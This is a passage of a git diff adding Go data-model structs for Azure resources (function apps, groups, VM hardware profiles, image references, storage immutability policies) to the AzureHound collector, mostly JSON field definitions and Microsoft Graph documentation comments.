This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type Entity struct { + Id string `json:"id"` +} diff --git a/models/azure/extended_location.go b/models/azure/extended_location.go new file mode 100644 index 0000000..76e94bc --- /dev/null +++ b/models/azure/extended_location.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ExtendedLocation struct { + Name string `json:"name,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/function_app.go b/models/azure/function_app.go new file mode 100644 index 0000000..ab1fc51 --- /dev/null +++ b/models/azure/function_app.go @@ -0,0 +1,51 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type FunctionApp struct { + Entity + + ExtendedLocation ExtendedLocation `json:"extendedLocation,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Kind string `json:"kind,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Properties FunctionAppProperties `json:"properties,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s FunctionApp) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s FunctionApp) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/function_app_props.go b/models/azure/function_app_props.go new file mode 100644 index 0000000..1aa342c --- /dev/null +++ b/models/azure/function_app_props.go @@ -0,0 +1,84 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type FunctionAppProperties struct { + AvailabilityState enums.SiteAvailabilityState `json:"availabilityState,omitempty"` + ClientAffinityEnabled bool `json:"clientAffinityEnabled,omitempty"` + ClientCertEnabled bool `json:"clientCertEnabled,omitempty"` + ClientCertExclusionPaths string `json:"clientCertExclusionPaths,omitempty"` + ClientCertMode enums.ClientCertMode `json:"clientCertMode,omitempty"` + CloningInfo CloningInfo `json:"cloningInfo,omitempty"` + ContainerSize int `json:"containerSize,omitempty"` + CustomDomainVerificationId string `json:"customDomainVerificationId,omitempty"` + DailyMemoryTimeQuota int `json:"dailyMemoryTimeQuota,omitempty"` + DefaultHostName string `json:"defaultHostName,omitempty"` + Enabled bool `json:"enabled,omitempty"` + EnabledHostnames []string `json:"enabledHostnames,omitempty"` + HostingEnvironmentProfile HostingEnvironmentProfile `json:"hostingEnvironmentProfile,omitempty"` + Hostnames []string `json:"hostNames,omitempty"` + HostNamesDisabled bool `json:"hostNamesDisabled,omitempty"` + HostNameSslStates []HostNameSslState `json:"hostNameSslStates,omitempty"` + HttpsOnly bool `json:"httpsOnly,omitempty"` + HyperV bool `json:"hyperV,omitempty"` + InProgressOperationId string `json:"inProgressOperationId,omitempty"` + IsDefaultContainer bool `json:"isDefaultContainer,omitempty"` + IsXenon bool `json:"isXenon,omitempty"` + KeyVaultReferenceIdentity string `json:"keyVaultReferenceIdentity,omitempty"` + LastModifiedTimeUTC string `json:"lastModifiedTimeUtc,omitempty"` + MaxNumberOfWorkers int `json:"maxNumberOfWorkers,omitempty"` + OutboundIpAddresses string `json:"outboundIpAddresses,omitempty"` + PossibleOutboundIpAddresses string `json:"possibleOutboundIpAddresses,omitempty"` + PublicNetworkAccess string `json:"publicNetworkAccess,omitempty"` + RedundancyMode enums.RedundancyMode `json:"redundancyMode,omitempty"` + RepositorySiteName string `json:"repositorySiteName,omitempty"` + Reserved bool `json:"reserved,omitempty"` + ResourceGroup string `json:"resourceGroup,omitempty"` + ScmSiteAlsoStopped bool `json:"scmSiteAlsoStopped,omitempty"` + ServerFarmId string `json:"serverFarmId,omitempty"` + SiteConfig SiteConfig `json:"siteConfig,omitempty"` + SlotSwapStatus SlotSwapStatus `json:",omitempty"` + State string `json:"state,omitempty"` + StorageAccountRequired bool `json:"storageAccountRequired,omitempty"` + SuspendedTill string `json:"suspendedTill,omitempty"` + TargetSwapSlot string `json:"targetSwapSlot,omitempty"` + TrafficManagerHostNames []string `json:"trafficManagerHostNames,omitempty"` + UsageState enums.UsageState `json:"usageState,omitempty"` + VirtualNetworkSubnetId string `json:"virtualNetworkSubnetId,omitempty"` + VnetContentShareEnabled bool `json:"vnetContentShareEnabled,omitempty"` + VnetImagePullEnabled bool `json:"vnetImagePullEnabled,omitempty"` + VnetRouteAllEnabled bool `json:"vnetRouteAllEnabled,omitempty"` + + // Following elements have been found in testing within the returned object, but not present in the official documentation + AdminEnabled bool `json:"adminEnabled,omitempty"` + ComputeMode string `json:"computeMode,omitempty"` + ContainerAllocationSubnet string `json:"containerAllocationSubnet,omitempty"` + ContentAvailabilityState string `json:"contentAvailabilityState,omitempty"` + FtpsHostName string `json:"ftpsHostName,omitempty"` + FtpUsername string `json:"ftpUsername,omitempty"` + InboundIPAddress string `json:"inboundIpAddress,omitempty"` + Kind string `json:"kind,omitempty"` + Name string `json:"name,omitempty"` + PossibleInboundIpAddresses string `json:"possibleInboundIpAddresses,omitempty"` + PrivateEndpointConnections string `json:"privateEndpointConnections,omitempty"` + RuntimeAvailabilityState string `json:"runtimeAvailabilityState,omitempty"` + SelfLink string `json:"selfLink,omitempty"` + StorageRecoveryDefaultState string `json:"storageRecoveryDefaultState,omitempty"` +} diff --git a/models/azure/geo_replication_stats.go b/models/azure/geo_replication_stats.go new file mode 100644 index 0000000..3f47fa4 --- /dev/null +++ b/models/azure/geo_replication_stats.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type GeoReplicationStats struct { + CanFailover bool `json:"canFailover,omitempty"` + LastSyncTime string `json:"lastSyncTime,omitempty"` + Status enums.GeoReplicationStatus `json:"status,omitempty"` +} diff --git a/models/azure/group.go b/models/azure/group.go new file mode 100644 index 0000000..de58049 --- /dev/null +++ b/models/azure/group.go @@ -0,0 +1,281 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Represents an Azure Active Directory (Azure AD) group, which can be a Microsoft 365 group, or a security group. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/group?view=graph-rest-1.0 +type Group struct { + DirectoryObject + + // Indicates if people external to the organization can send messages to the group. + // Default value is false. + // Returned only on $select for GET /groups/{ID} + AllowExternalSenders bool `json:"allowExternalSenders,omitempty"` + + // The list of sensitivity label pairs (label ID, label name) associated with a Microsoft 365 group. + // Returned only on $select. + // Read-only. + AssignedLabels []AssignedLabel `json:"assignedLabels,omitempty"` + + // The licenses that are assigned to the group. + // Returned only on $select. + // Supports $filter (eq) + // Read-only. + AssignedLicenses []AssignedLicense `json:"assignedLicenses,omitempty"` + + // Indicates if new members added to the group will be auto-subscribed to receive email notifications. + // You can set this property in a PATCH request for the group; do not set it in the initial POST request that + // creates the group. + // Default value is false. + // Returned only on $select for GET /groups/{ID} + AutoSubscribeNewMembers bool `json:"autoSubscribeNewMembers,omitempty"` + + // Describes a classification for the group (such as low, medium or high business impact). + // Valid values for this property are defined by creating a ClassificationList setting value, based on the template + // definition. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, startsWith) + Classification string `json:"classification,omitempty"` + + // Timestamp of when the group was created. + // The value cannot be modified and is automatically populated when the group is created. The Timestamp type + // represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in). + // Read-only. + CreatedDateTime string `json:"createdDateTime,omitempty"` + + // For some Azure Active Directory objects (user, group, application), if the object is deleted, it is first + // logically deleted, and this property is updated with the date and time when the object was deleted. Otherwise, + // this property is null. If the object is restored, this property is updated to null. + DeletedDateTime string `json:"deletedDateTime,omitempty"` + + // An optional description for the group. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, startsWith) and $search. + Description string `json:"description,omitempty"` + + // The display name for the group. + // This property is required when a group is created and cannot be cleared during updates. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith), $search, and $orderBy. + DisplayName string `json:"displayName,omitempty"` + + // Timestamp of when the group is set to expire. The value cannot be modified and is automatically populated when + // the group is created. The Timestamp type represents date and time information using ISO 8601 format and is always + // in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in). + // Read-only. + ExpirationDateTime string `json:"expirationDateTime,omitempty"` + + // Specifies the group type and its membership. + // If the collection contains Unified, the group is a Microsoft 365 group; otherwise, it's either a security group + // or distribution group. For details, see groups overview. + // If the collection includes DynamicMembership, the group has dynamic membership; otherwise, membership is static. + // Returned by default. + // Supports $filter (eq, NOT). + GroupTypes []string `json:"groupTypes,omitempty"` + + // Indicates whether there are members in this group that have license errors from its group-based license + // assignment. + // This property is never returned on a GET operation. + // You can use it as a $filter argument to get groups that have members with license errors (that is, filter for + // this property being true) + // Supports $filter (eq). + HasMembersWithLicenseErrors bool `json:"hasMembersWithLicenseErrors,omitempty"` + + // True if the group is not displayed in certain parts of the Outlook UI: the Address Book, address lists for + // selecting message recipients, and the Browse Groups dialog for searching groups; otherwise, false. + // Default value is false. + // Returned only on $select for GET /groups/{ID} + HideFromAddressLists bool `json:"hideFromAddressLists,omitempty"` + + // True if the group is not displayed in Outlook clients, such as Outlook for Windows and Outlook on the web; + // otherwise, false. + // Default value is false. + // Returned only on $select for GET /groups/{ID} + HideFromOutlookClients bool `json:"hideFromOutlookClients,omitempty"` + + // Indicates whether this group can be assigned to an Azure Active Directory role or not. + // Optional. + // This property can only be set while creating the group and is immutable. If set to true, the securityEnabled + // property must also be set to true and the group cannot be a dynamic group (that is, groupTypes cannot contain + // DynamicMembership). Only callers in Global administrator and Privileged role administrator roles can set this + // property. The caller must be assigned the RoleManagement.ReadWrite.Directory permission to set this property or + // update the membership of such groups. For more, see Using a group to manage Azure AD role assignments + // Returned by default. + // Supports $filter (eq, ne, NOT). + IsAssignableToRole bool `json:"isAssignableToRole,omitempty"` + + // Indicates whether the signed-in user is subscribed to receive email conversations. + // Default value is true. + // Returned only on $select for GET /groups/{ID} + IsSubscribedByMail bool `json:"isSubscribedByMail,omitempty"` + + // Indicates status of the group license assignment to all members of the group. + // Default value is false. + // Read-only. + // Returned only on $select. + LicenseProcessingState enums.LicenseProcessingState `json:"licenseProcessingState,omitempty"` + + // The SMTP address for the group, for example, "serviceadmins@contoso.onmicrosoft.com". + // Returned by default. + // Read-only. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + Mail string `json:"mail,omitempty"` + + // Specifies whether the group is mail-enabled. + // Required. + // Returned by default. + // Supports $filter (eq, ne, NOT). + MailEnabled bool `json:"mailEnabled,omitempty"` + + // The mail alias for the group, unique in the organization. + // Maximum length is 64 characters. + // This property can contain only characters in the ASCII character set 0 - 127 except: @ () \ [] " ; : . <> , SPACE + // Required. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + MailNickname string `json:"mailNickname,omitempty"` + + // The rule that determines members for this group if the group is a dynamic group (groupTypes contains + // DynamicMembership). For more information about the syntax of the membership rule, see Membership Rules syntax. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, startsWith). + MembershipRule string `json:"membershipRule,omitempty"` + + // Indicates whether the dynamic membership processing is on or paused. + // Returned by default. + // Supports $filter (eq, ne, NOT, in). + MembershipRuleProcessingState enums.RuleProcessingState `json:"membershipRuleProcessingState,omitempty"` + + // Indicates the last time at which the group was synced with the on-premises directory. + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Returned by default. + // Read-only. + // Supports $filter (eq, ne, NOT, ge, le, in). + OnPremisesLastSyncDateTime string `json:"onPremisesLastSyncDateTime,omitempty"` + + // Errors when using Microsoft synchronization product during provisioning. + // Returned by default. + // Supports $filter (eq, NOT). + OnPremisesProvisioningErrors []OnPremisesProvisioningError `json:"onPremisesProvisioningErrors,omitempty"` + + // Contains the on-premises SAM account name synchronized from the on-premises directory. + // The property is only populated for customers who are synchronizing their on-premises directory to Azure Active + // Directory via Azure AD Connect. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + // Read-only. + OnPremisesSamAccountName string `json:"onPremisesSamAccountName,omitempty"` + + // Contains the on-premises security identifier (SID) for the group that was synchronized from on-premises to the + // cloud. + // Returned by default. + // Supports $filter on null values. + // Read-only. + OnPremisesSecurityIdentifier string `json:"onPremisesSecurityIdentifier,omitempty"` + + // true if this group is synced from an on-premises directory; false if this group was originally synced from an + // on-premises directory but is no longer synced; null if this object has never been synced from an on-premises + // directory (default). + // Returned by default. + // Read-only. + // Supports $filter (eq, ne, NOT, in). + OnPremisesSyncEnabled bool `json:"onPremisesSyncEnabled,omitempty"` + + // The preferred data location for the Microsoft 365 group. + // By default, the group inherits the group creator's preferred data location. To set this property, the calling + // user must be assigned one of the following Azure AD roles: + // - Global Administrator + // - User Account Administrator + // - Directory Writer + // - Exchange Administrator + // - SharePoint Administrator + // + // Nullable. + // Returned by default. + PreferredDataLocation string `json:"preferredDataLocation,omitempty"` + + // The preferred language for a Microsoft 365 group. + // Should follow ISO 639-1 Code; for example en-US. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith). + PreferredLanguage string `json:"preferredLanguage,omitempty"` + + // Email addresses for the group that direct to the same group mailbox. + // For example: ["SMTP: bob@contoso.com", "smtp: bob@sales.contoso.com"]. + // The any operator is required to filter expressions on multi-valued properties. + // Returned by default. + // Read-only. + // Not nullable. + // Supports $filter (eq, NOT, ge, le, startsWith). + ProxyAddresses []string `json:"proxyAddresses,omitempty"` + + // Timestamp of when the group was last renewed. + // This cannot be modified directly and is only updated via the renew service action. + // The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Returned by default. + // Supports $filter (eq, ne, NOT, ge, le, in). + // Read-only. + RenewedDateTime string `json:"renewedDateTime,omitempty"` + + // Specifies the group behaviors that can be set for a Microsoft 365 group during creation. + // This can be set only as part of creation (POST). + ResourceBehaviorOptions []enums.ResourceBehavior `json:"resourceBehaviorOptions,omitempty"` + + // Specifies the group resources that are provisioned as part of Microsoft 365 group creation, that are not normally + // part of default group creation. + ResourceProvisioningOptions []enums.ResourceProvisioning `json:"resourceProvisioningOptions,omitempty"` + + // Specifies whether the group is a security group. + // Required. + // Returned by default. + // Supports $filter (eq, ne, NOT, in). + SecurityEnabled bool `json:"securityEnabled,omitempty"` + + // Security identifier of the group, used in Windows scenarios. + // Returned by default. + SecurityIdentifier string `json:"securityIdentifier,omitempty"` + + // Specifies a Microsoft 365 group's color theme. Possible values are Teal, Purple, Green, Blue, Pink, Orange or Red + Theme string `json:"theme,omitempty"` + + // Count of conversations that have received new posts since the signed-in user last visited the group. + // Returned only on $select for GET /groups/{ID} + UnseenCount int32 `json:"unseenCount,omitempty"` + + // Specifies the group join policy and group content visibility for groups. + // Possible values are: Private, Public, or Hiddenmembership. + // Hiddenmembership can be set only for Microsoft 365 groups, when the groups are created. + // It can't be updated later. Other values of visibility can be updated after group creation. + // If visibility value is not specified during group creation on Microsoft Graph, a security group is created as + // Private by default and Microsoft 365 group is Public. Groups assignable to roles are always Private. + // Returned by default. + // Nullable. + Visibility enums.GroupVisibility `json:"visibility,omitempty"` +} diff --git a/models/azure/hardware_profile.go b/models/azure/hardware_profile.go new file mode 100644 index 0000000..e63a5fc --- /dev/null +++ b/models/azure/hardware_profile.go @@ -0,0 +1,40 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the hardware settings for the virtual machine. +type HardwareProfile struct { + + // Specifies the size of the virtual machine. + // + // Recommended way to get the list of available sizes is using the API: + // - List all available virtual machine sizes in an availability set + // - List all available virtual machine sizes in a region + // - List all available virtual machine sizes for resizing. + // + // For more information about virtual machine sizes, see Sizes for virtual machines. + // + // The available VM sizes depend on region and availability set. + VMSize string `json:"vmSize,omitempty"` + + // Specifies the properties for customizing the size of the virtual machine. Minimum api-version: 2021-07-01. + // + // This feature is still in preview mode and is not supported for VirtualMachineScaleSet. + // Please follow the instructions in VM Customization for more details. + VMSizeProperties VMSizeProperties `json:"vmSizeProperties,omitempty"` +} diff --git a/models/azure/hosting_environment_profile.go b/models/azure/hosting_environment_profile.go new file mode 100644 index 0000000..805b2df --- /dev/null +++ b/models/azure/hosting_environment_profile.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type HostingEnvironmentProfile struct { + Id string `json:"id,omitempty"` + Name string `json:"name,omitempty"` + Type string `json:"type,omitempty"` +} diff --git a/models/azure/hostname_ssl_state.go b/models/azure/hostname_ssl_state.go new file mode 100644 index 0000000..bddaa28 --- /dev/null +++ b/models/azure/hostname_ssl_state.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type HostNameSslState struct { + HostType enums.HostType `json:"hostType,omitempty"` + Name string `json:"name,omitempty"` + SSLState enums.SslState `json:"sslState,omitempty"` + Thumbprint string `json:"thumbprint,omitempty"` + ToUpdate bool `json:"toUpdate,omitempty"` + VirtualIP string `json:"virtualIP,omitempty"` +} diff --git a/models/azure/image_reference.go b/models/azure/image_reference.go new file mode 100644 index 0000000..05b4f4a --- /dev/null +++ b/models/azure/image_reference.go @@ -0,0 +1,50 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies information about the image to use. You can specify information about platform images, marketplace images, +// or virtual machine images. This element is required when you want to use a platform image, marketplace image, or +// virtual machine image, but is not used in other creation operations. +// NOTE: Image reference publisher and offer can only be set when you create the scale set. +type ImageReference struct { + // Specifies in decimal numbers, the version of platform image or marketplace image used to create the virtual + // machine. This readonly field differs from 'version', only if the value specified in 'version' field is 'latest'. + ExactVersion string `json:"exactVersion,omitempty"` + + // Resource ID. + Id string `json:"id,omitempty"` + + // Specifies the offer of the platform image or marketplace image used to create the virtual machine. + Offer string `json:"offer,omitempty"` + + // The image publisher + Publisher string `json:"publisher,omitempty"` + + // Specified the shared gallery image unique id for vm deployment. + // This can be fetched from shared gallery image GET call. + SharedGalleryImageId string `json:"sharedGalleryImageId,omitempty"` + + // The image SKU. + Sku string `json:"sku,omitempty"` + + // Specifies the version of the platform image or marketplace image used to create the virtual machine. + // The allowed formats are Major.Minor.Build or 'latest'. Major, Minor, and Build are decimal numbers. + // Specify 'latest' to use the latest version of an image available at deploy time. Even if you use 'latest', + // the VM image will not automatically update after deploy time even if a new version becomes available. + Version string `json:"version,omitempty"` +} diff --git a/models/azure/immutability_policy.go b/models/azure/immutability_policy.go new file mode 100644 index 0000000..febe7ac --- /dev/null +++ b/models/azure/immutability_policy.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type ImmutabilityPolicy struct { + Etag string `json:"etag,omitempty"` + Properties ImmutabilityPolicyProperties `json:"properties,omitempty"` + UpdateHistory ImmutablePolicyUpdateHistory `json:"updateHistory,omitempty"` +} diff --git a/models/azure/immutability_policy_properties.go b/models/azure/immutability_policy_properties.go new file mode 100644 index 0000000..7fea6d2 --- /dev/null +++ b/models/azure/immutability_policy_properties.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ImmutabilityPolicyProperties struct { + AllowProtectedAppendWrites bool `json:"allowProtectedAppendWrites,omitempty"` + AllowProtectedAppendWritesAll bool `json:"allowProtectedAppendWritesAll,omitempty"` + ImmutabilityPeriodSinceCreationInDays int `json:"immutabilityPeriodSinceCreationInDays,omitempty"` + State enums.ImmutabilityPolicyState `json:"updateHistory,omitempty"` +} diff --git a/models/azure/immutable_policy_update_history.go b/models/azure/immutable_policy_update_history.go new file mode 100644 index 0000000..d4110ef --- /dev/null +++ b/models/azure/immutable_policy_update_history.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ImmutablePolicyUpdateHistory struct { + AllowProtectedAppendWrites bool `json:"allowProtectedAppendWrites,omitempty"` + AllowProtectedAppendWritesAll bool `json:"allowProtectedAppendWritesAll,omitempty"` + ImmutabilityPeriodSinceCreationInDays int `json:"immutabilityPeriodSinceCreationInDays,omitempty"` + ObjectIdentifier string `json:"objectIdentifier,omitempty"` + TenantId string `json:"tenantId,omitempty"` + Timestamp string `json:"timestamp,omitempty"` + Update enums.ImmutabilityPolicyUpdateType `json:"update,omitempty"` + Upn string `json:"upn,omitempty"` +} diff --git a/models/azure/immutable_storage_account.go b/models/azure/immutable_storage_account.go new file mode 100644 index 0000000..6ef2b8b --- /dev/null +++ b/models/azure/immutable_storage_account.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ImmutableStorageAccount struct { + Enabled bool `json:"enabled,omitempty"` + ImmutabilityPolicy AccountImmutabilityPolicyProperties `json:"immutabilityPolicy,omitempty"` +} + +type AccountImmutabilityPolicyProperties struct { + AllowProtectedAppendWrites bool `json:"allowProtectedAppendWrites,omitempty"` + ImmutabilityPeriodSinceCreationInDays int `json:"immutabilityPeriodSinceCreationInDays,omitempty"` + State enums.AccountImmutabilityPolicyState `json:"state,omitempty"` +} diff --git a/models/azure/immutable_storage_with_versioning.go b/models/azure/immutable_storage_with_versioning.go new file mode 100644 index 0000000..43a314c --- /dev/null +++ b/models/azure/immutable_storage_with_versioning.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type ImmutableStorageWithVersioning struct { + Enabled bool `json:"enabled,omitempty"` + MigrationState enums.MigrationState `json:"migrationState,omitempty"` + TimeStamp string `json:"timeStamp,omitempty"` +} diff --git a/models/azure/implicit_grant_settings.go b/models/azure/implicit_grant_settings.go new file mode 100644 index 0000000..e17b472 --- /dev/null +++ b/models/azure/implicit_grant_settings.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies whether this web application can request tokens using the OAuth 2.0 implicit flow. Separate properties are +// available to request ID and access tokens as part of the implicit flow. To enable implicit flow, at least one of the +// following properties 